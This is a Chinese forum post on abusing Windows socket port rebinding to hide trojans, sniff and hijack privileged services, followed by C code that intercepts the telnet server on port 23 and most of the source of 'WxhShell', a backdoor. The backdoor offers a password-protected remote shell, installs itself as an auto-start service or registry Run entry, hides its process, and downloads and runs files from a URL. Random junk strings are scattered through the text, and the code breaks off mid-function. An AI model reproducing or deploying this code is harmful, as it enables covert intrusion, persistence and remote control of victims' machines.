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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^; V>}08  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CF}Nom)  
+}-W.H%`0  
  saddr.sin_family = AF_INET; 7 6i rb!-  
W$t}3Ru  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6:EH5IO  
u<y\iZ[   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b%!`fn-;  
6P*)rye  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +|"n4iZ!)  
DN 8pJa  
  这意味着什么?意味着可以进行如下的攻击: &!YH"{b  
qnfRN'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A%m `LKV~@  
J,=E5T}U^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hTtp-e`   
ZesD(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4Ig{#}<  
@x F8' [<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dYqDL<se/I  
 hL{B9?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vK.4JOlRF  
  [aS)<^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h'y@M+c(  
[ rQ(ae  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 wIR[2&b  
13&>w{S}  
  #include gAUQQ  
  #include 1707  
  #include 645C]l  
  #include    y0&HXX#\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ] xLb )Z  
  int main() >scS wT  
  { N evvA(M  
  WORD wVersionRequested; XsN#<"f;i  
  DWORD ret; ccRk4xR  
  WSADATA wsaData; 4%v+ark8  
  BOOL val; ,WDAcQ8\  
  SOCKADDR_IN saddr; muX4Y1M_  
  SOCKADDR_IN scaddr; 5WJkeG ba  
  int err; pvR& ~g  
  SOCKET s; bSmaE7  
  SOCKET sc; }NBJ T4R  
  int caddsize; iCSM1W3  
  HANDLE mt; YTPmS\ H _  
  DWORD tid;   B*iz+"H  
  wVersionRequested = MAKEWORD( 2, 2 ); Isgk  
  err = WSAStartup( wVersionRequested, &wsaData ); *pC -`k  
  if ( err != 0 ) { Rw{v"n  
  printf("error!WSAStartup failed!\n");  ~M^7qO  
  return -1; K y4y  
  } S 2 h  
  saddr.sin_family = AF_INET; ;Kq?*H  
   DPxu3,Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BG8)bh k;/  
0o=)&%G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); / bu<,o  
  saddr.sin_port = htons(23); lg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +95dz?~  
  { %y7wF'_Y  
  printf("error!socket failed!\n"); ftqW3VW  
  return -1; R:R@sU  
  } -*q2Y^A^l  
  val = TRUE; K':pU1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xAz4ZXj=q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jo(}#_y?  
  { l(#Y8  
  printf("error!setsockopt failed!\n"); %y\7  
  return -1; nJ#@W b@  
  } E0Y/N?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9la~3L_g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yaXa8v'oC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 # +]! u%n  
t RyGxqiG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6Vzc:8o>  
  { 2,Dc]oj  
  ret=GetLastError(); /"{ ,m!  
  printf("error!bind failed!\n"); EF=D}"E6pO  
  return -1; : RO:k|g  
  } ?E_p,#9j)  
  listen(s,2); RTY4%6]O  
  while(1) KJC9^BAr  
  { _po 4(U&  
  caddsize = sizeof(scaddr); L"IHyUW  
  //接受连接请求 KdpJ[[Ug/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {=4:Tgw  
  if(sc!=INVALID_SOCKET) eRy'N|'  
  { FH21mwV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1p<?S}zg@  
  if(mt==NULL) vm^# aoDB  
  { gq1Y]t|4F  
  printf("Thread Creat Failed!\n"); "wC5hj]  
  break; W}_}<rlF  
  } H 7F~+ Q-}  
  } Z_~DTO2Qg  
  CloseHandle(mt); SfFR  
  } uWj-tzu  
  closesocket(s); 64X#:t+  
  WSACleanup(); _-\{kJ  
  return 0; 7Ej#7\TB]  
  }   q.F1Jj  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y1+lk^  
  { #}yFHM?i  
  SOCKET ss = (SOCKET)lpParam; hD"~ ^  
  SOCKET sc; w|o@r%Q#l  
  unsigned char buf[4096]; QaBXzf   
  SOCKADDR_IN saddr; ^v5hr>m  
  long num; +`3ZH9  
  DWORD val; -y*+G&  
  DWORD ret; (UT*T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w>Sz^_ h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ( +hI   
  saddr.sin_family = AF_INET; 8N_rJ)f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cGp 6yf  
  saddr.sin_port = htons(23); "a{f? .X.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) becQ5w/~  
  { Cjk AQ(9  
  printf("error!socket failed!\n"); ;<<IXXKU  
  return -1; S$On$]~\"  
  } 2`m_"y  
  val = 100; Tic9r i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6&0a?Xu  
  { {[~,q\M[  
  ret = GetLastError(); I|;#VejX  
  return -1; 94@!.11  
  } yuX 0Y{:I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BniVZCct  
  { {~h\;>  
  ret = GetLastError(); W)hby`k  
  return -1; Sd6^%YB  
  } [KJL%u|8/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /n:fxdhe  
  { rNC3h"i\  
  printf("error!socket connect failed!\n"); ra2q. H  
  closesocket(sc); )ixE  
  closesocket(ss); Nq6CvDXi  
  return -1; 7~f6j:{|z  
  } /U]5#'i  
  while(1) oU?X"B9  
  { W^Y(FUy~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W%cPX0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b7j#a#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lGhUfhk  
  num = recv(ss,buf,4096,0); V%=t2+  
  if(num>0) K$]B" s  
  send(sc,buf,num,0); e90z(EF?0  
  else if(num==0) { rn~D5R  
  break; 1*jm9])#  
  num = recv(sc,buf,4096,0); iL1so+di  
  if(num>0) ,[#f}|s_  
  send(ss,buf,num,0); s%|J(0  
  else if(num==0) `BD`pa7.%  
  break; 7S Zs/wWh%  
  } z\ pT+9&  
  closesocket(ss); Y%@'a~  
  closesocket(sc); \YS\* 'F  
  return 0 ; @CDRbXoFk  
  } _Y {g5t  
rID]!7~  
gHshG;z*  
========================================================== _4Pi>  
RUu'9#fq  
下边附上一个代码,,WXhSHELL nQ~L.V  
3om-,gfZ  
========================================================== .R5z>:A  
Q.\ovk~,a  
#include "stdafx.h" 0fU>L^P_?  
"O "@HVF@  
#include <stdio.h> -',Y;0b%  
#include <string.h> 5GkM7Zu!{j  
#include <windows.h> kGP?Jx\PkH  
#include <winsock2.h> 6suc:rp";  
#include <winsvc.h> 7Y:s6R|  
#include <urlmon.h> N>Y3[G+  
iwJgU b  
#pragma comment (lib, "Ws2_32.lib") ^)~M,rW8c  
#pragma comment (lib, "urlmon.lib") %C<eR_  
@oNrR$7  
#define MAX_USER   100 // 最大客户端连接数 ERjf.7)d  
#define BUF_SOCK   200 // sock buffer D(|$6J 0  
#define KEY_BUFF   255 // 输入 buffer 5Ncd1  
iI0'z=J  
#define REBOOT     0   // 重启 \-yi#N  
#define SHUTDOWN   1   // 关机 "(qO}&b>  
my6T@0R  
#define DEF_PORT   5000 // 监听端口 (eP)>G]  
t:7jlD!d  
#define REG_LEN     16   // 注册表键长度 k$!&3Rh  
#define SVC_LEN     80   // NT服务名长度 Rw`s O:eZ  
CuNHDYQ&3  
// 从dll定义API Ip x:k+J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZT#G:a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ><qE5D[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1S:H!h3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :9Pqy pd+  
Fu$sfq  
// wxhshell配置信息 'P#I<?vB  
struct WSCFG { 9nE%r\H  
  int ws_port;         // 监听端口 5hMiCod  
  char ws_passstr[REG_LEN]; // 口令 )j'b7)W\  
  int ws_autoins;       // 安装标记, 1=yes 0=no &IYkeGQr  
  char ws_regname[REG_LEN]; // 注册表键名 }I]q$3 .  
  char ws_svcname[REG_LEN]; // 服务名 =fPO0Ot;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DJ^JUVi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oP6G2@3P/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hlZjk0ez  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oL;/Qan  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /'&L M\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sJWwkR  
O"Q=66.CR  
}; [tN/}_]  
[geY:v_B  
// default Wxhshell configuration CiSG=obw  
struct WSCFG wscfg={DEF_PORT, xj<SnrrC]u  
    "xuhuanlingzhe", f WXzK<  
    1, P.Bk-#}$  
    "Wxhshell", 4dP_'0]9A:  
    "Wxhshell", ) LG/n  
            "WxhShell Service", {ex]_V>  
    "Wrsky Windows CmdShell Service", 8ZDq KQ1;  
    "Please Input Your Password: ", yS""*8/  
  1, q8J/tw?%v  
  "http://www.wrsky.com/wxhshell.exe", b+>godTi_  
  "Wxhshell.exe" a=R-F!P)  
    }; ;D:v@I$I  
nj  
// 消息定义模块 4]GyuY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KVCS(oN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <#-ERQw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rgCId@R  
char *msg_ws_ext="\n\rExit."; eMwf'*#  
char *msg_ws_end="\n\rQuit."; ;Mz]uk  
char *msg_ws_boot="\n\rReboot..."; 7Fp2=j  
char *msg_ws_poff="\n\rShutdown..."; X)~-MY*p  
char *msg_ws_down="\n\rSave to "; :lAR;[WFS  
]nh)FMo  
char *msg_ws_err="\n\rErr!"; 'zaB5d~l  
char *msg_ws_ok="\n\rOK!"; __M}50^  
 e(^O8  
char ExeFile[MAX_PATH]; sAb|]Q((  
int nUser = 0; -]e@cevy  
HANDLE handles[MAX_USER]; jv ";?*I6.  
int OsIsNt; `xSXGI  
0/Csc\Xl  
SERVICE_STATUS       serviceStatus; cQny)2k*x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /[OMpP  
OX"`VE  
// 函数声明 R+\5hI@ >i  
int Install(void); };*5+XY^  
int Uninstall(void); ]%."  
int DownloadFile(char *sURL, SOCKET wsh); gS%J`X$  
int Boot(int flag); Z& %61jGK  
void HideProc(void); waC%o%fD  
int GetOsVer(void); VYBl0!t  
int Wxhshell(SOCKET wsl); cmTZ))m  
void TalkWithClient(void *cs); epnDvz\   
int CmdShell(SOCKET sock); g5.Z B@j  
int StartFromService(void); ]WG\+1x9  
int StartWxhshell(LPSTR lpCmdLine); <Wd$6  
}\W3a_,v)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7>nA;F 8_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !q X 7   
"elh~K  
// 数据结构和表定义 vv u((b  
SERVICE_TABLE_ENTRY DispatchTable[] = {9)f~EbM!  
{ =k'dbcfO$9  
{wscfg.ws_svcname, NTServiceMain}, D|xSO~M5  
{NULL, NULL} pnD#RvmW2e  
}; .f}I$ "2  
'BC-'Ot  
// 自我安装 Y9WH%  
int Install(void) Gi-tf<  
{ ?}y7S]B FI  
  char svExeFile[MAX_PATH]; ()r DM@  
  HKEY key; | 8AH_Fk  
  strcpy(svExeFile,ExeFile); AA66^/t  
p7*\]HyE)  
// 如果是win9x系统,修改注册表设为自启动 &"BKue~q@p  
if(!OsIsNt) { ,FTF@h-Cs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { */1z=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &~j"3G;e  
  RegCloseKey(key); U+K_eEI0_I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * .e^s3q$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dG| iA]  
  RegCloseKey(key); =X`/.:%|[  
  return 0; /<})+=>6f  
    } Zy'bX* s|  
  } 0zd1:*KR,  
} i@2?5U>h  
else { |y]#-T?)t  
.Ee8s]h5W  
// 如果是NT以上系统,安装为系统服务 %>f:m!.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); csC3Wm{v  
if (schSCManager!=0) "0 v]O~s  
{ u@o3p*bQ  
  SC_HANDLE schService = CreateService fROhn}<**[  
  ( |$D^LY  
  schSCManager, 1}(g=S  
  wscfg.ws_svcname, -Xj+7}4  
  wscfg.ws_svcdisp, *mYec~  
  SERVICE_ALL_ACCESS, FOZqN K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^}WeBU  
  SERVICE_AUTO_START, @g{=f55  
  SERVICE_ERROR_NORMAL, u+Li'Ug  
  svExeFile, d.{RZq2cp  
  NULL, 1:,aFp>qr  
  NULL, wj/r)rv E  
  NULL, tDi<n}  
  NULL, ?Z;knX\?J  
  NULL w,\Ua&>4  
  ); "^u|vCqw  
  if (schService!=0) s~GO-v7  
  { ON=xn|b4  
  CloseServiceHandle(schService); Tkd4nRo~  
  CloseServiceHandle(schSCManager); !_]WUQvV?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5L4~7/kj  
  strcat(svExeFile,wscfg.ws_svcname); 5!AzEB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $N+azal+y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >%7iL#3%  
  RegCloseKey(key); t?/#:J*_7  
  return 0; % $ 5hC9  
    } ~<|xS  
  } 2LgRgY{Bl  
  CloseServiceHandle(schSCManager); ~oOOCB  
} TfJB;  
} GE"#.J4z  
E;h#3 B9  
return 1; Q.!8q3`  
} ^*iZN =\  
Gs-'  
// 自我卸载 \ Xuu|]  
int Uninstall(void) j88H3bi0  
{ Chjth"  
  HKEY key; ;'nu9FU*O  
M'*  Y  
if(!OsIsNt) { eX}uZR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9#1lxT4%  
  RegDeleteValue(key,wscfg.ws_regname); cP(/+ /9  
  RegCloseKey(key); #w#B'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yh4e\]ql~N  
  RegDeleteValue(key,wscfg.ws_regname); YncY_Hu  
  RegCloseKey(key); yaeX-'(Fv[  
  return 0; k{9s>l~'  
  } 5HmX-+XpK  
} Xmtq~}K>  
} c/pT2/y  
else { lqu1H&  
&C?]n.A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5?QR  
if (schSCManager!=0) ]` 3;8,  
{ c,e 0+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _pW\F(+8  
  if (schService!=0) '*W/Bett  
  { GCc@ :*4[  
  if(DeleteService(schService)!=0) { w(s"r p}  
  CloseServiceHandle(schService); Al 0zL  
  CloseServiceHandle(schSCManager); JgEpqA12  
  return 0; #VD[\#  
  } DUa`8cE}  
  CloseServiceHandle(schService); 2TY|)ltsF  
  } 1[dza5  
  CloseServiceHandle(schSCManager); =`g+3 O;<  
} 2E;*kKw[  
} ~`T3 i  
aA=qel  
return 1; .|cQ0:B[  
} O7:JG[tR*  
;Cm%<vW4!  
// 从指定url下载文件 entO"~*EX  
int DownloadFile(char *sURL, SOCKET wsh) _aq3G9C_  
{ Vhv<w O Ct  
  HRESULT hr; ->:G+<  
char seps[]= "/"; 2{g~6 U.  
char *token; Hb IRE  
char *file; `2 Vc*R  
char myURL[MAX_PATH]; }7k+tJ<   
char myFILE[MAX_PATH]; Fn$EP:>  
+.5 /4?  
strcpy(myURL,sURL); |no '^  
  token=strtok(myURL,seps); *cJ GrLC  
  while(token!=NULL) f0}+8JW5h  
  { zR">'bM:  
    file=token; 9 *Q/3|   
  token=strtok(NULL,seps); b4i=eI8  
  } ^#p S u  
z1_\P) M  
GetCurrentDirectory(MAX_PATH,myFILE); BY72fy#e  
strcat(myFILE, "\\"); ?< mSEgvu  
strcat(myFILE, file); !bS:!Il9=  
  send(wsh,myFILE,strlen(myFILE),0); }JoCk{<31  
send(wsh,"...",3,0); ~ 8RN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (Z;-u+ }.  
  if(hr==S_OK) Q]A;VNx  
return 0; 5 J61PuH   
else Sr/"'w;  
return 1; QVm3(;&'  
{088j?[hzk  
} vEOoG>'Zq  
:J5xO%WA(  
// 系统电源模块 P$4G2>D8dg  
int Boot(int flag) n ;y<!L7  
{ *EvnN:  
  HANDLE hToken; +QqYf1@F  
  TOKEN_PRIVILEGES tkp; p.n+m[  
{w1sv=$+  
  if(OsIsNt) { j[v<xo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >y &9!G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d7qHUx'=z  
    tkp.PrivilegeCount = 1; N)WAzH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xm6cn\e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8$BZbj%?hx  
if(flag==REBOOT) { ZV$qv=X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /9QI^6& SX  
  return 0; $ohIdpZLH2  
} 7lqj" o(  
else { 1Y_Cd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yu>VW\Fb  
  return 0; :"#EQq]ct  
} kTL{?-  
  } U5[xW  
  else { HE,# pj(D  
if(flag==REBOOT) { TG~:Cmc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d:|X|0#\uH  
  return 0; CfNHv-jDL  
} }1f@>'o  
else { _ko16wfg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dd@qk`Zl&A  
  return 0; K1AI:$H  
} N=YRYU o  
} y+hC !-  
lED-Jo2  
return 1; =X'i^Q  
} iP6$;Y{ZA  
7y1J69IK  
// win9x进程隐藏模块 8%nb1CA  
void HideProc(void) ?6P P_QY  
{ uW3`gwwlU  
+1zCb=;!{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /p+ (_Y  
  if ( hKernel != NULL ) (iXo\y`z  
  { wws)**]J8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n a,j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EbZRU65J}O  
    FreeLibrary(hKernel); l8/ tR  
  } 6r4o47_t8#  
2It$ bz  
return; dq}60  
} +YVnA?r?  
[XK Ke  
// 获取操作系统版本 -]\cUQ0  
int GetOsVer(void) 484lB}H  
{ tkx1iBW=  
  OSVERSIONINFO winfo; .]}kOw:(#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &(UVS0=Dp,  
  GetVersionEx(&winfo); fmC)]O%q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :SjTkfU  
  return 1; RG1~)5AL~Y  
  else 28>PmH]7  
  return 0; Y>LgpO.  
} /*\pm!]._^  
*&]x-p1m  
// 客户端句柄模块 VDq4n;p1  
int Wxhshell(SOCKET wsl) 7714}%Z  
{ lL_M=td8W  
  SOCKET wsh; G66A]FIg  
  struct sockaddr_in client; o7Ms]AblT  
  DWORD myID; ,&[2z!  
eV$pza  
  while(nUser<MAX_USER) -7\Rl3c  
{ `\LhEnIwu  
  int nSize=sizeof(client); Sp8Xka~5*#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rV.04m,  
  if(wsh==INVALID_SOCKET) return 1; e]R`B}vO  
AW3\>WC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +NL^/y<;  
if(handles[nUser]==0) RSEo'2  
  closesocket(wsh); Y Y4"r\V  
else JQ|qg\[  
  nUser++; VbR /k,Co  
  } YYfX@`\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <%WN<T{q|  
.XD7};g  
  return 0; 5y]1v  
} v,z s dr"d  
cm^:3(yYX  
// 关闭 socket M, qX  
void CloseIt(SOCKET wsh) oL?(; `"&  
{ u%n6!Zx  
closesocket(wsh); "[(&$ I  
nUser--; @pq#?  
ExitThread(0); P&PPX#%  
} Pp-\#WJ  
05et h  
// 客户端请求句柄 =2&/Cn4  
void TalkWithClient(void *cs) 4u} "ng   
{ +-_71rJc.  
7w}D2|+  
  SOCKET wsh=(SOCKET)cs; o+(>/Ou  
  char pwd[SVC_LEN]; u 6&<Bv  
  char cmd[KEY_BUFF]; 9[qEJ$--  
char chr[1]; *Z0Y:"  
int i,j; !: e(-  
/ S  
  while (nUser < MAX_USER) { q-c9YOz_  
08)X:@ w?  
if(wscfg.ws_passstr) { ~F5JN^5Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q\(VQ1c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jDI)iW`P  
  //ZeroMemory(pwd,KEY_BUFF); 8#%Sq=/+M  
      i=0; Nxk3uF^  
  while(i<SVC_LEN) { 4o,%}bo&  
|$[WnYP  
  // 设置超时 Q `$Q(/  
  fd_set FdRead;  LW?Zd=  
  struct timeval TimeOut; LxqK@Q<B  
  FD_ZERO(&FdRead); qyXx`'e  
  FD_SET(wsh,&FdRead); !'uLV#YEZ  
  TimeOut.tv_sec=8; >r Nff!Ow  
  TimeOut.tv_usec=0; Y|ONCc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HI}$Z =C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BR8W8nRb  
$HjKELoJ<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x!\FB.h4!(  
  pwd=chr[0]; |~'D8 g:Ak  
  if(chr[0]==0xd || chr[0]==0xa) { J?/.|Y]e  
  pwd=0; O6rrv,+_L  
  break; >dH5n$Gb  
  } rEI]{?eoF  
  i++; YG2rJY+*  
    } L #'N  
`c 3IS5  
  // 如果是非法用户,关闭 socket Fy4jujP<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -fF1vJ7L  
} [~&C6pR  
npcB+6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &cj/8A5-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _n9+(X3  
y'sy]Q~  
while(1) { J &,N1B  
i!zh9,i>M  
  ZeroMemory(cmd,KEY_BUFF); L||_Jsu  
5+U2@XV  
      // 自动支持客户端 telnet标准   (s?`*i:2  
  j=0; sA18f2  
  while(j<KEY_BUFF) { tT7< V{i4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zf~ [4Eeb  
  cmd[j]=chr[0]; q|PB[*T  
  if(chr[0]==0xa || chr[0]==0xd) { ]:* 8 Mb#  
  cmd[j]=0; n^QOGT.s6`  
  break; bDdJh}Vz  
  } K`.wj8zGY  
  j++; 1](5wK-Z  
    } F",]*> r  
bS 'a)  
  // 下载文件 D;bQ"P-m47  
  if(strstr(cmd,"http://")) { jRz2l`~7#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c"ukV_6~J  
  if(DownloadFile(cmd,wsh)) wv,,#P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (]'Q!MjGa  
  else ]+\@_1<ZI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); />fP )56*  
  } 'BT}'qN  
  else { ?sl 7C gl  
x}TDb0V  
    switch(cmd[0]) { jE)&`yZ5  
  HgG-r&r!2  
  // 帮助 &fBLPF%6  
  case '?': { a,Gd\.D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gi`K^L=C  
    break; 4XL*e+UfJ  
  } ]2n&DJu  
  // 安装 t+0&B"  
  case 'i': { f~Dl;f~H_;  
    if(Install()) cvn4Q-^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \GtZX!0  
    else b6D}GuW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K?')#%Z/{#  
    break; RL>Nl ow  
    } 5GK=R aV  
  // 卸载 @+",f]  
  case 'r': { G'XlsyaWrb  
    if(Uninstall()) bw#zMU^E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4QWDuLu  
    else ok5 {c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sg 12C  
    break; SdUtAC2  
    } *(ex:1sW  
  // 显示 wxhshell 所在路径 qE6:`f  
  case 'p': { ie$QKoE  
    char svExeFile[MAX_PATH]; OVO0Emv  
    strcpy(svExeFile,"\n\r"); <!:,(V>F(C  
      strcat(svExeFile,ExeFile); [|UW_Bz  
        send(wsh,svExeFile,strlen(svExeFile),0); ).eT~e Gj  
    break; *IzcW6 [9  
    } ^SCZ  
  // 重启 `>RJ*_aKEI  
  case 'b': { ;VS;),h/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <FH3 ePz  
    if(Boot(REBOOT)) bG +p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '#<?QE!d2  
    else { x]%e_  
    closesocket(wsh); BQf}S +  
    ExitThread(0); 87EI<\mP  
    } );$Uf!v4  
    break; '{kNXCnZ  
    } NFGC.<  
  // 关机 N s9cx  
  case 'd': { !U#kUj:4I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `"[VkQFB/  
